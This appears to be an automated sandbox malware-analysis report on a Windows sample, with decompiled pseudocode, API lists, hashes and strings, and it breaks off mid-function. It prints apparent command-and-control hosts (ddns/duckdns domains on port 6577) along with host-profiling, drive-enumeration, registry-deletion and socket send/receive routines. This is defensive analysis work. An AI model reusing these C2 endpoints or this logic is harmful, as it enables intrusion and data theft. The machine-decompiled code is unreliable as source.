										if(_t75 != 0x2733) {
											break;
										}
										E00407EF4(1);
										L20:
									} while (_t91 < _t85);
									if(_t85 == 0) {
										goto L12;
									}
									goto L8;
								}
								goto L12;
							}
							L8:
							 *_t93 =  &_v588;
							E00407F59();
							 *_t93 =  &_v24;
							E00405999(_t89);
							 *_t93 =  &_v20;
							return E00405999(_t89);
							L12:
							_t76 = _v72;
							_v692 = _t92;
							_v696 = _t76;
							L0041F94C();
							_push(_t89);
							_push(_t89);
						} while (_t76 == 0);
						_v692 = 0;
						_v696 = 0x4000;
						_v700 = _v644;
						_t78 = _v80;
						 *_t93 = _t78;
						L0041F90C();
						_t93 = _t93 - 0x10;
						_t86 = _t78;
						if(_t78 <= 0) {
							goto L8;
						}
						_t91 = 0;
						do {
							_v708 = 0;
							_v712 = _t86;
							_v716 = _v660 + _t91;
							_t81 = _v92;
							 *_t93 = _t81;
							L0041F8FC();
							_t93 = _t93 - 0x10;
							if(_t81 != 0xffffffff) {
								_t86 = _t86 - _t81;
								_t91 = _t91 + _t81;
								goto L29;
							}
							E004051B0();
							if(_t81 != 0x2733) {
								goto L30;
							}
							 *_t93 = 1;
							E00407EF4();
							L29:
						} while (_t86 > _t91);
						L30:
					} while (_t86 == 0);
					goto L8;
				}
				return _t56;
			}

APIs

malloc.MSVCRT ref: 00411781
select.WS2_32 ref: 00411821
__WSAFDIsSet.WS2_32 ref: 0041186C
__WSAFDIsSet.WS2_32 ref: 00411885
__WSAFDIsSet.WS2_32 ref: 0041189E
__WSAFDIsSet.WS2_32 ref: 004118B7
recv.WS2_32 ref: 004118ED
send.WS2_32 ref: 00411921
recv.WS2_32 ref: 0041197F
send.WS2_32 ref: 004119B3

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recvsend$mallocselect
String ID:
API String ID: 2752384660-0
Opcode ID: 81337b33d623f7932b05d2c55d3ab91b0e7ec23f5ae94197f8e00e2d525efa65
Instruction ID: 396cab881292c67bc80472d702024345634477e2cb390eb29da05618a31f840e
Opcode Fuzzy Hash: 81337b33d623f7932b05d2c55d3ab91b0e7ec23f5ae94197f8e00e2d525efa65
Instruction Fuzzy Hash: 5A61FCB05197419FD720BF79C5847ABBBE4AF84314F10892FE998C3351E77898858B47

Uniqueness

Uniqueness Score: -1.00%

Function 00407302, Relevance: 15.1, APIs: 10, Instructions: 94fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00407341
_wfopen.MSVCRT ref: 00407354
MultiByteToWideChar.KERNEL32 ref: 00407397
_wfopen.MSVCRT ref: 004073AC
malloc.MSVCRT ref: 004073CC
fread.MSVCRT ref: 004073EE
fwrite.MSVCRT ref: 0040741C
free.MSVCRT ref: 0040742E
fclose.MSVCRT ref: 0040743F
fclose.MSVCRT ref: 00407447

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide_wfopenfclose$freadfreefwritemalloc
String ID:
API String ID: 2679953470-0
Opcode ID: f9df09af49ca5f034b16166d7e72c9a9dddab051e03add47e39f7c407a03f550
Instruction ID: bd1c24ee40381327b35b8d10bbed57f0e5c37a6e482eaac28a171252adbfc4ce
Opcode Fuzzy Hash: f9df09af49ca5f034b16166d7e72c9a9dddab051e03add47e39f7c407a03f550
Instruction Fuzzy Hash: FC3117B09097059FD710AF76D58526EBBE0BF84348F41883EE4D897382D7789489CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00413748, Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004130E8: GetUserNameW.ADVAPI32 ref: 00413112
Part of subcall function 004130E8: WideCharToMultiByte.KERNEL32 ref: 00413154

Part of subcall function 00413040: GetComputerNameW.KERNEL32 ref: 0041307E
Part of subcall function 00413040: WideCharToMultiByte.KERNEL32 ref: 004130C0

Part of subcall function 004134FD: GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

getenv.MSVCRT ref: 00413879
getenv.MSVCRT ref: 00413887

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

PATH, xrefs: 0041386B
, xrefs: 00413816
netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;, xrefs: 00413928
WINDIR, xrefs: 0041387E
%AppData%\Logs\, xrefs: 004138B3
Unknown, xrefs: 004137E0

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameWide$CriticalSectiongetenv$ComputerCountEnterFileLeaveModuleTickUser
String ID: $%AppData%\Logs\$PATH$Unknown$WINDIR$netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;
API String ID: 195117172-3659371331
Opcode ID: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction ID: 88353113fceb9506f3b36d61bfde8eef9921c9a466ae1bfd82caa565229af05a
Opcode Fuzzy Hash: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction Fuzzy Hash: A2619CB49087849BD720EF65C18469EFBE0BF89348F408D2EE8D887351E7789548CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408042, Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00408094
_wfopen.MSVCRT ref: 004080AE

Part of subcall function 00407FC3: fgetpos.MSVCRT ref: 00407FE9

fgetpos.MSVCRT ref: 004080F0
fsetpos.MSVCRT ref: 00408126
malloc.MSVCRT ref: 00408132
fread.MSVCRT ref: 00408152
realloc.MSVCRT ref: 00408168
fclose.MSVCRT ref: 00408174
fclose.MSVCRT ref: 00408185

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefgetpos$ByteCharMultiWide_wfopenfreadfsetposmallocrealloc
String ID:
API String ID: 1812338015-0
Opcode ID: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction ID: cce78eb31c107fb340ace7c9921005f6624d878254cb06048c37cb8e28fe17a8
Opcode Fuzzy Hash: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction Fuzzy Hash: 6031B6B0509705ABD750AF26C68535EBBE4AF84348F01892EE8D89B281D778D54A8F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F151, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 187
stringCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0041F151() {
				int _t74;
				signed int _t86;
				intOrPtr _t108;
				signed int _t116;
				intOrPtr* _t117;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				void* _t137;
				void _t139;
				void* _t151;
				void* _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				signed int* _t161;

				_t158 = _t157 - 0x5cc;
				_t152 = _t158 + 0x71;
				_t155 =  *(_t158 + 0x5e0);
				_t74 = memset(_t152, 0, 0x105 << 0);
				_t159 = _t158 + 0xc;
				_t137 = _t159 + 0x20;
				 *((intOrPtr*)(_t159 + 0x14)) = 0;
				memset(_t158 + 0x176, _t74, 0x105 << 0);
				memset(_t137, 0, 0x14 << 2);
				_t161 = _t159 + 0x18;
				if(_t137 == 0 || _t155 == 0 || _t161[0x179] == 0) {
					L40:
					_t122 = _t121 | 0xffffffff;
				} else {
					asm("repne scasb");
					_t121 =  !0xffffffff;
					_t161[4] = 0xbadbac;
					if(0 > 0x104) {
						goto L40;
					} else {
						_t161[2] = 0;
						_t161[1] = _t155;
						 *_t161 = _t137;
						if(E0041C5A7() == 0) {
							goto L40;
						} else {
							memset( &(_t161[0xe0]), _t161[5], 0x90 << 2);
							_t161 =  &(_t161[3]);
							 *_t161 = _t152;
							_t161[1] = _t161[0x179];
							strcpy(??, ??);
							_t86 = _t161[0x2eb707];
							if(_t86 != 0x2f && _t86 != 0x5c) {
								_t161[0x2eb707] = 0x5c;
								_t161[4] =  !0xffffffff;
							}
							_t123 =  &(_t161[0x1c]);
							_t156 = 0;
							_t161[5] = _t161[0xc];
							_t161[7] = _t161[4] + _t123;
							while(_t156 != _t161[5]) {
								_t161[1] = _t156;
								_t161[2] =  &(_t161[0xe0]);
								 *_t161 =  &(_t161[8]);
								if(E0041B06A() != 0) {
									_t153 = 0;
									_t161[2] = 0x104 - _t161[4];
									_t161[1] =  &(_t161[0xef]);
									 *_t161 = _t161[7];
									strncpy(??, ??, ??);
									_t139 = _t161[0x1c];
									if((_t139 & 0xffffffdf) - 0x41 <= 0x19) {
										_t153 = 0 | _t161[0x1c] == 0x0000003a;
									}
									memset( &(_t161[0x9e]), 0, 0x105 << 0);
									_t161 =  &(_t161[3]);
									_t151 = 0;
									if(_t153 != 0) {
										_t161[0x9e] = _t139;
										_t151 = 2;
										_t161[0x9f] = _t161[0x1c];
									}
									_t161[6] = (_t153 ^ 0x00000001) & 0x00000001;
									while(1) {
										_t108 =  *((intOrPtr*)(_t123 + _t151));
										if(_t151 > 0x103 || _t108 == 0) {
											break;
										}
										if(_t108 == 0x2f || _t108 == 0x5c) {
											if(_t161[6] == 0 || _t151 <= 0) {
												if(_t151 <= 2 || _t153 == 0) {
													goto L21;
												} else {
													goto L26;
												}
											} else {
												L26:
												_t116 =  &(_t161[0x9e]);
												 *_t161 = _t116;
												L0041F7C4();
												_t117 = _t116 + 1;
												if(_t117 != 0) {
													goto L21;
												} else {
													L0041F7D4();
													if( *_t117 == 0x11) {
														goto L21;
													} else {
														goto L11;
													}
												}
											}
										} else {
											L21:
											_t151 = _t151 + 1;
											 *((char*)(_t161 + _t151 + 0x27a)) =  *((intOrPtr*)(_t123 + _t151 - 1));
											continue;
										}
										goto L39;
									}
									if((_t161[0xe2] & 0xef) != 3 || (_t161[0xeb] & 0x00000020) == 0) {
										_t154 =  &(_t161[8]);
										_t161[1] = _t156;
										 *_t161 = _t154;
										if(E0041B020() != 0) {
											goto L31;
										} else {
											_t161[3] = 0;
											_t161[2] = _t123;
											_t161[1] = _t156;
											 *_t161 = _t154;
											if(E0041C368() != 0) {
												goto L31;
											} else {
												goto L11;
											}
										}
									} else {
										L31:
										if(_t161[0x17a] != 0) {
											 *_t161 = _t123;
											_t161[1] = _t161[0x17b];
											if(_t161[0x17a]() < 0) {
												goto L11;
											} else {
												goto L37;
											}
										} else {
											L37:
											_t156 = _t156 + 1;
											continue;
										}
									}
								} else {
									L11:
									_t122 = _t123 | 0xffffffff;
								}
								L39:
								 *_t161 =  &(_t161[8]);
								if(E0041C416() == 0) {
									goto L40;
								}
								goto L41;
							}
							_t122 = 0;
							goto L39;
						}
					}
				}
				L41:
				return _t122;
			}

APIs

Part of subcall function 0041C5A7: fopen.MSVCRT ref: 0041C5C3
Part of subcall function 0041C5A7: fseek.MSVCRT ref: 0041C5E1
Part of subcall function 0041C5A7: ftell.MSVCRT ref: 0041C5ED
Part of subcall function 0041C5A7: fclose.MSVCRT ref: 0041C604

strcpy.MSVCRT ref: 0041F216
strncpy.MSVCRT ref: 0041F29A
_mkdir.MSVCRT ref: 0041F337
_errno.MSVCRT ref: 0041F33F

Strings

, xrefs: 0041F35F
\, xrefs: 0041F227
:, xrefs: 0041F2B1

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _errno_mkdirfclosefopenfseekftellstrcpystrncpy
String ID: $:$\
API String ID: 268051615-2457500751
Opcode ID: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction ID: 79c026138aa9a439cba8819bc206cad1fae7c9babfb4a3138d3d5cf70f9326d1
Opcode Fuzzy Hash: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction Fuzzy Hash: 56616E7550C7898AD7249F39C4803EFBBE1AF84304F54493FE8E883341D779898A8B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00421320, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 164COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0042152C
_assert.MSVCRT ref: 00421551

Strings

c, xrefs: 0042153A
, xrefs: 004213B0
length - i < CTR_BUFFER_LIMIT, xrefs: 0042154A
length < 16, xrefs: 00421525
../nettle-3.5.1/ctr16.c, xrefs: 0042151D, 00421542

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: $../nettle-3.5.1/ctr16.c$c$length - i < CTR_BUFFER_LIMIT$length < 16
API String ID: 1222420520-535899598
Opcode ID: 8a585c7f6f4847e6cdab404632b1628f0989679c9260e782601c46f9716b7191
Instruction ID: 595662ab794f8c563696035dacf2dbdab12226766188b8df76e1304a900497cc
Opcode Fuzzy Hash: 8a585c7f6f4847e6cdab404632b1628f0989679c9260e782601c46f9716b7191
Instruction Fuzzy Hash: 1E71DDB5A083199FDB00EF69D48859EBBE0EF88354F01C92EF89997351C3389854CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00406084, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

SetErrorMode.KERNEL32 ref: 004060A9
GetLogicalDriveStringsA.KERNEL32 ref: 004060C1
GetVolumeInformationA.KERNEL32 ref: 0040617C
GetDiskFreeSpaceExA.KERNEL32 ref: 004061D3
GetDriveTypeA.KERNEL32 ref: 00406250

Strings

@, xrefs: 00406215
mWYCi a46w, xrefs: 00406209

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Drive$DiskErrorFreeInformationLogicalModeSpaceStringsTypeVolumemalloc
String ID: @$mWYCi a46w
API String ID: 4103324456-2045538538
Opcode ID: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction ID: 7bbe8d17847550f4164a14e3f7f2cb4162b00115eb79a228a3fcc10edc21327c
Opcode Fuzzy Hash: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction Fuzzy Hash: EF61ABB0509741AEE300AF26C59435FFBE4BF84748F01882EE4D897251E7B985898F86

Uniqueness

Uniqueness Score: -1.00%

Function 0041086B, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32 ref: 004108D0
RegOpenKeyExA.ADVAPI32 ref: 00410900

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegEnumKeyExA.ADVAPI32 ref: 00410958
RegCloseKey.ADVAPI32 ref: 0041096B
RegDeleteKeyA.ADVAPI32(00000000), ref: 00410978

Strings

@, xrefs: 0041099A
%s\%s, xrefs: 0041089B

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Delete$CloseEnumOpen_vsnprintf
String ID: %s\%s$@
API String ID: 3258335120-919846355
Opcode ID: c5fee486713a1e3e413a08c522e5d7fe8b5e1595fa91894b84a89dceef684568
Instruction ID: 9d604c6237a7cde6d8c47273939e6e17ca47206dd9184e21b4ed585c08607efa
Opcode Fuzzy Hash: c5fee486713a1e3e413a08c522e5d7fe8b5e1595fa91894b84a89dceef684568
Instruction Fuzzy Hash: FB31D2F04087059EE710EF26C59839FFBE4AF84748F00891EE4D897251D3B985898F9B

Uniqueness

Uniqueness Score: -1.00%

Function 00411A5C, Relevance: 12.1, APIs: 8, Instructions: 148
networkCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00411A5C(void* __ecx, signed short* _a4) {
				signed short _v268;
				signed short _v272;
				char _v572;
				char _v586;
				signed short _v676;
				char _v680;
				intOrPtr _v688;
				intOrPtr _v692;
				char _v716;
				signed short _v720;
				signed short _v724;
				char _v728;
				char _v730;
				signed short _v732;
				char _v736;
				signed short _v744;
				signed int _v748;
				signed short _v752;
				char* _v756;
				signed short _v764;
				signed short _v768;
				signed short _v772;
				signed short _v780;
				signed short _v784;
				signed short _v788;
				signed short _v792;
				intOrPtr _v800;
				signed short _v804;
				signed short _v816;
				signed short _t64;
				signed short _t65;
				signed short _t71;
				signed int _t72;
				signed short _t73;
				signed short _t75;
				signed short* _t91;
				char* _t93;
				signed short _t96;
				signed int _t97;
				signed short _t98;
				signed short* _t100;
				signed short* _t101;
				signed short* _t102;
				signed short* _t103;

				_t92 = __ecx;
				_t91 = _a4;
				_t93 =  &_v680;
				_t97 =  &_v272;
				_v692 = 0xffffffff;
				_v688 = 0xffffffff;
				_v680 = 5;
				_v676 = 0;
				_t64 =  *_t91;
				_v716 = _t93;
				_v720 = 0;
				_v724 = 0;
				_v728 = _t97;
				_v272 = 1;
				_v268 = _t64;
				_t65 = _t64 + 1;
				_v732 = _t65;
				L0041F904();
				_t100 =  &_v720 - 0x14;
				if(_t65 > 0) {
					_v748 = _t97;
					_t65 =  *_t91;
					_v752 = _t65;
					L0041F94C();
					_push(__ecx);
					_push(__ecx);
					if(_t65 != 0) {
						_v748 = 0;
						_v752 = 4;
						_v756 =  &_v716;
						_t65 =  *_t91;
						 *_t100 = _t65;
						L0041F90C();
						_t101 = _t100 - 0x10;
						if(_t65 > 0) {
							_t65 =  *_t91;
							_t98 =  &_v572;
							_v764 = 0;
							if(_v732 != 1) {
								_v768 = 0x100;
								_v772 = _t98;
								 *_t101 = _t65;
								L0041F90C();
								_t102 = _t101 - 0x10;
								__eflags = _t65;
								if(_t65 > 0) {
									_t96 =  &_v716;
									_v784 = 0x80;
									_v788 = _t98;
									_v744 = 0;
									_v792 = _t96;
									E00412AA3( &_v744, _t98 + E00412548() + 1, 2);
									_t71 = _v744 & 0x0000ffff;
									_v792 = _t71;
									L0041F914();
									_push(_t93);
									_t72 = _t71 & 0x0000ffff;
									_v792 = _t72;
									 *_t102 = _t96;
									_v748 = _t72;
									_v788 =  &_v736;
									_t73 = E004051B5(_t92,  &_v736);
									__eflags = _t73;
									if(__eflags != 0) {
										goto L9;
									}
									_v792 = 1;
									goto L11;
								}
							} else {
								_v768 = 6;
								_v772 = _t98;
								 *_t101 = _t65;
								L0041F90C();
								_t102 = _t101 - 0x10;
								if(_t65 == 6) {
									_v784 = 2;
									_v788 = _t98;
									_v732 = 2;
									_v792 =  &_v730;
									E00412AA3();
									E00412AA3( &_v728,  &_v586, 4);
									_t73 = E004129E4( &_v724, 0, 8);
									L9:
									_v788 = 6;
									_v792 = 1;
									 *_t102 = 2;
									L0041F8E4();
									_t102 = _t102 - 0xc;
									_t109 = _t73 - 0xffffffff;
									_v768 = _t73;
									if(_t73 != 0xffffffff) {
										_v800 = 0x10;
										 *_t102 = _t73;
										_v804 =  &_v748;
										L0041F93C();
										_t103 = _t102 - 0xc;
										__eflags = _t73 + 1;
										_t75 =  *_t91;
										if(__eflags == 0) {
											_v816 = 2;
											 *_t103 = _t75;
											E00411A22(__eflags);
											 *_t103 =  &_v780;
											return E00405999( &_v748);
										}
										_v816 = 3;
										 *_t103 = _t75;
										E00411A22(__eflags);
										_v816 =  *_t91;
										 *_t103 = _v780;
										return E00411770(_t92);
									}
									_v804 = 2;
									L11:
									 *_t102 =  *_t91;
									return E00411A22(_t109);
								}
							}
						}
					}
				}
				return _t65;
			}

APIs

select.WS2_32 ref: 00411AC7
__WSAFDIsSet.WS2_32 ref: 00411AE0
recv.WS2_32 ref: 00411B0C
recv.WS2_32 ref: 00411B43
recv.WS2_32 ref: 00411BC2
htons.WS2_32 ref: 00411C16
socket.WS2_32 ref: 00411C5C
connect.WS2_32 ref: 00411C94

Part of subcall function 00411A22: send.WS2_32 ref: 00411A4C

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recv$closesocketconnecthtonsselectsendshutdownsocket
String ID:
API String ID: 1430705073-0
Opcode ID: 7aa564cc39fd655c1c646bbf1d1799004d24cdb641ddc06cc15a049bd6b3ff1c
Instruction ID: 331b2ee2af7af9e314b8cfd2fab8a33ff8218399bbf528e54cfcbcff9f8d33b6
Opcode Fuzzy Hash: 7aa564cc39fd655c1c646bbf1d1799004d24cdb641ddc06cc15a049bd6b3ff1c
Instruction Fuzzy Hash: 2461D6B0509740AED710AF25C18979ABBE4FF84348F008D1EF9D887251E7B994899F47

Uniqueness

Uniqueness Score: -1.00%

Function 00413748, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004130E8: GetUserNameW.ADVAPI32 ref: 00413112
Part of subcall function 004130E8: WideCharToMultiByte.KERNEL32 ref: 00413154

Part of subcall function 00413040: GetComputerNameW.KERNEL32 ref: 0041307E
Part of subcall function 00413040: WideCharToMultiByte.KERNEL32 ref: 004130C0

Part of subcall function 004134FD: GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

getenv.MSVCRT ref: 00413879
getenv.MSVCRT ref: 00413887

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

Unknown, xrefs: 004137E0
WINDIR, xrefs: 0041387E
PATH, xrefs: 0041386B
, xrefs: 00413816

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameWide$CriticalSectiongetenv$ComputerCountEnterFileLeaveModuleTickUser
String ID: $PATH$Unknown$WINDIR
API String ID: 195117172-1158625180
Opcode ID: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction ID: 88353113fceb9506f3b36d61bfde8eef9921c9a466ae1bfd82caa565229af05a
Opcode Fuzzy Hash: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction Fuzzy Hash: A2619CB49087849BD720EF65C18469EFBE0BF89348F408D2EE8D887351E7789548CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00420700, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420850
_assert.MSVCRT ref: 004208AD

Strings

../nettle-3.5.1/memxor3.c, xrefs: 00420841, 0042089E
M, xrefs: 00420896
n > 0, xrefs: 004208A6
n == 1, xrefs: 00420849

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor3.c$M$n == 1$n > 0
API String ID: 1222420520-17687075
Opcode ID: 389ade0749032fac037805b9abc3480a8171c3f13d13cda5c72ac285551c0497
Instruction ID: 88b4d72e3a3b074a803e33dc480ae7ecbd49f2114936249b734713bf6416a905
Opcode Fuzzy Hash: 389ade0749032fac037805b9abc3480a8171c3f13d13cda5c72ac285551c0497
Instruction Fuzzy Hash: 0951BB716083A28FC300CF28E59052BBBF1BFCA310F048A1EE69087645D335EA19CF92

Uniqueness

Uniqueness Score: -1.00%

Function 004132E6, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00413325
GetVersionExA.KERNEL32(?), ref: 00413379
GetSystemInfo.KERNEL32(?,?), ref: 0041338C

Part of subcall function 0041328F: NetWkstaGetInfo.NETAPI32 ref: 004132B1
Part of subcall function 0041328F: NetApiBufferFree.NETAPI32 ref: 004132D8

GetSystemMetrics.USER32 ref: 004133FA

Strings

wd0RdiNh.Sii, xrefs: 0041333D
Ed5LC542dMZ65dlXR8W, xrefs: 00413331

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoSystemVersion$BufferFreeMetricsWksta
String ID: Ed5LC542dMZ65dlXR8W$wd0RdiNh.Sii
API String ID: 1266462847-2370874720
Opcode ID: a2f5e60309e9ea63997a5f63661c2a67e865f2bf7c7b30ca2f3ef5845b7a97e1
Instruction ID: aea862b3450ebf307a16053a8a3fc20b1df094ade6bc7c343729d6a33193dea1
Opcode Fuzzy Hash: a2f5e60309e9ea63997a5f63661c2a67e865f2bf7c7b30ca2f3ef5845b7a97e1
Instruction Fuzzy Hash: D7418E7040C7419AEB21AF21C5457AFBAE0AF81759F148E2FE4C487281D37D8AC98B5B

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00405DAD
malloc.MSVCRT ref: 00405DF8
send.WS2_32 ref: 00405E96
WSAGetLastError.WS2_32 ref: 00405EA5
LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

-, xrefs: 00405DB7

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeavemallocsend
String ID: -
API String ID: 1786834168-2547889144
Opcode ID: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction ID: 542a74277ee6daf56934a715b94c3cb6415021c893f49c4910618d7e1c795e3b
Opcode Fuzzy Hash: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction Fuzzy Hash: 8B416E70608B008FC720EF69D48461BBBE4EF85324F518A3FE994A73D1C77899458F9A

Uniqueness

Uniqueness Score: -1.00%

Function 004054AC, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00405519
send.WS2_32 ref: 004055BC
select.WS2_32 ref: 0040561A
__WSAFDIsSet.WS2_32 ref: 00405631
recv.WS2_32 ref: 00405657

Strings

Z, xrefs: 00405668

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htonsrecvselectsend
String ID: Z
API String ID: 3248711867-1505515367
Opcode ID: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction ID: 3f3365598393d2eea2e9170436329f57a1f754e33c93ecced5829fb6f7628eb6
Opcode Fuzzy Hash: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction Fuzzy Hash: 094117B0418744ABD321AF25C1843AFBBE4FF84758F508D2EF4D887291D7B995888B57

Uniqueness

Uniqueness Score: -1.00%

Function 0041C87B, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0041C87B(intOrPtr* _a4, signed int _a8, signed int _a12, signed int _a16, char* _a20, signed short _a24, signed int _a28, signed int _a32, signed int _a36, intOrPtr _a40) {
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v38;
				char _v42;
				char _v46;
				char _v47;
				unsigned short _v48;
				char _v49;
				char _v50;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				void _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v84;
				signed short _v86;
				signed short _v88;
				signed int _v96;
				signed short _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr _v112;
				unsigned int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
